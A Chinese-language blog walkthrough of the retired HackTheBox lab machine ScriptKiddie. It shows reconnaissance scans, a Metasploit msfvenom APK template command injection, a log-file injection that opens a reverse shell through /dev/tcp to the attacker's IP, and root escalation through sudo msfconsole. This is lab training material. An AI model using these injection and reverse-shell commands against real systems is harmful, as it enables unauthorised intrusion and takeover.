zoukankan      html  css  js  c++  java
  • HTB-靶机-ScriptKiddie

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.226

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.226 -o ./ScriptKiddie-autorecon
    
    sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.226
    或者
    
    sudo masscan -p1-65535,U:1-65535 10.10.10.226 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    sudo nmap -Pn -sV -sC -p$ports 10.10.10.226

    就开了两个端口,直接访问5000端口

    通过测试发下,存在msfvenom APK template command injection 

    通过下面的exploit反弹shell
    https://www.exploit-db.com/exploits/49491
    也可以通过metasploit生成模板反弹shell
    https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/
    
    msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lhost tun0
    lhost => tun0
    msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lport 8833
    lport => 8833
    msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options
    
    Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       FILENAME  msf.apk          yes       The APK file name
    
    
    Payload options (cmd/unix/reverse_netcat):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  tun0             yes       The listen address (an interface may be specified)
       LPORT  8833             yes       The listen port
    
       **DisablePayloadHandler: True   (no handler will be created!)**
    msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
    
    [+] msf.apk stored at /root/.msf4/local/msf.apk

    通过目标靶机的payload模块生成模板进行命令注入反弹shell

    成功反弹shell

    通过收集目标靶机的信息,发现家目录下有个shell脚本代码

    kid@scriptkiddie:/home$ cat pwn/scanlosers.sh
    #!/bin/bash
    
    log=/home/kid/logs/hackers
    
    cd /home/pwn/
    cat $log | cut -d' ' -f3- | sort -u | while read ip; do
        sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
    done
    
    if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

    通过分析shell代码内容,可以确认存在命令注入,并且查看当前运行的进程确认此shell代码一直在后台运行,所以只要注入命令完成即可触发反弹shell代码

    可以通过输入下面的反弹shell代码到hackers文件里面,利用shell脚本文件里面$()的语法,会执行此括号里面的代码来反弹shell
    echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.14.16/9933 0>&1")' > /home/kid/logs/hackers
    命令注入参考文章:
    https://github.com/payloadbox/command-injection-payload-list
    https://book.hacktricks.xyz/pentesting-web/command-injection
    https://owasp.org/www-community/attacks/Command_Injection

    上面成功反弹shell,升级到ttyshell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

    执行一把sudo -l

    pwn@scriptkiddie:~$ sudo -l
    sudo -l
    Matching Defaults entries for pwn on scriptkiddie:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
    
    User pwn may run the following commands on scriptkiddie:
        (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

    开始提权了

    开始提权
    sudo /opt/metasploit-framework-6.0.9/msfconsole
    
    输入下面两行命令提权
    irb
    system("/bin/bash")

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    软件杯华为ModelArts平台
    软件杯第一阶段博客
    《系统架构》阅读笔记05
    第11周周博客
    测试面试题
    杭电2014 (第一次用vector ac题目)
    杭电 2013 猴子吃桃 递归解法&循环解法
    杭电2012 质数问题
    杭电2629 Identity Card
    杭电1170
  • 原文地址:https://www.cnblogs.com/autopwn/p/14858887.html
Copyright © 2011-2022 走看看